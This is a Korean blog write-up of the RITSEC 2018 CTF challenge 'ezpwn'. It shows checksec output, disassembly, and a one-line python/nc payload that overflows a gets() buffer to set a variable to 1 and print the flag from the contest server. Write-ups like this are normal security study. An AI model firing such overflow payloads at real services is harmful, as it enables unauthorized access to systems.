본문 바로가기
[ ★ ]Study/CTF

RITSEC2018 ezpwn

by nroses-taek 2018. 11. 19.

쥬릅.. 사진을 올릴 수 가 없다.


gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial


우선 문제의 배점 및 checksec을 봤을 때 BOF 겠지? 라는 생각을 했는데


역시는 감이 좋았다. 는 ... 운이 좋았다.


   0x00000000000011b0 <+27>:    lea    rax,[rbp-0x20]
   0x00000000000011b4 <+31>:    mov    rdi,rax
   0x00000000000011b7 <+34>:    mov    eax,0x0
   0x00000000000011bc <+39>:    call   0x1080 <gets@plt>


gets 로 20byte가져오는데 이 값이 +44에서 rbp-0x8 변수와 비교를 한다.


그리고 fopen으로 텍스트 파일을 가져와서 출력해준다.


우리가 입력한 gets가 1이랑 비교를 하게 된다.



   0x00000000000011c1 <+44>:    cmp    DWORD PTR [rbp-0x8],0x1
   0x00000000000011c5 <+48>:    jne    0x121b <main+134>
   0x00000000000011c7 <+50>:    lea    rsi,[rip+0xe50]        # 0x201e
   0x00000000000011ce <+57>:    lea    rdi,[rip+0xe4b]        # 0x2020
   0x00000000000011d5 <+64>:    call   0x1090 <fopen@plt>
   0x00000000000011da <+69>:    mov    QWORD PTR [rbp-0x10],rax
   0x00000000000011de <+73>:    mov    rax,QWORD PTR [rbp-0x10]
   0x00000000000011e2 <+77>:    mov    rdi,rax
   0x00000000000011e5 <+80>:    call   0x1070 <fgetc@plt>
   0x00000000000011ea <+85>:    mov    BYTE PTR [rbp-0x1],al
   0x00000000000011ed <+88>:    jmp    0x1209 <main+116>
   0x00000000000011ef <+90>:    movsx  eax,BYTE PTR [rbp-0x1]
   0x00000000000011f3 <+94>:    mov    edi,eax
   0x00000000000011f5 <+96>:    call   0x1030 <putchar@plt>
   0x00000000000011fa <+101>:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000000011fe <+105>:   mov    rdi,rax
   0x0000000000001201 <+108>:   call   0x1070 <fgetc@plt>
   0x0000000000001206 <+113>:   mov    BYTE PTR [rbp-0x1],al
   0x0000000000001209 <+116>:   cmp    BYTE PTR [rbp-0x1],0xff
   0x000000000000120d <+120>:   jne    0x11ef <main+90>
   0x000000000000120f <+122>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000001213 <+126>:   mov    rdi,rax
   0x0000000000001216 <+129>:   call   0x1050 <fclose@plt>



gets 함수를 통해 BOF를 해준다. 다행히도 rbp-0x20 위치이기 때문에 rbp-0x8을 덮을 수 있다. :)


(python -c 'print"D"*28 + "\x01"';cat) | nc fun.ritsec.club 8001                     
Please enter your API key
RITSEC{Woah_Dud3_it's_really_that_easy?_am_i_leet_yet?}



'[ ★ ]Study > CTF' 카테고리의 다른 글

Pwntools 설치(install)  (0) 2019.04.03
X-MAS 2018 Greetings from Santa  (0) 2019.01.01
TUCTF2018 Shella_Easy(pwn)  (0) 2018.12.15
TUCTF2018 - ehh  (0) 2018.12.15
P.W.N CTF ImportantService(pwn)  (0) 2018.12.01

댓글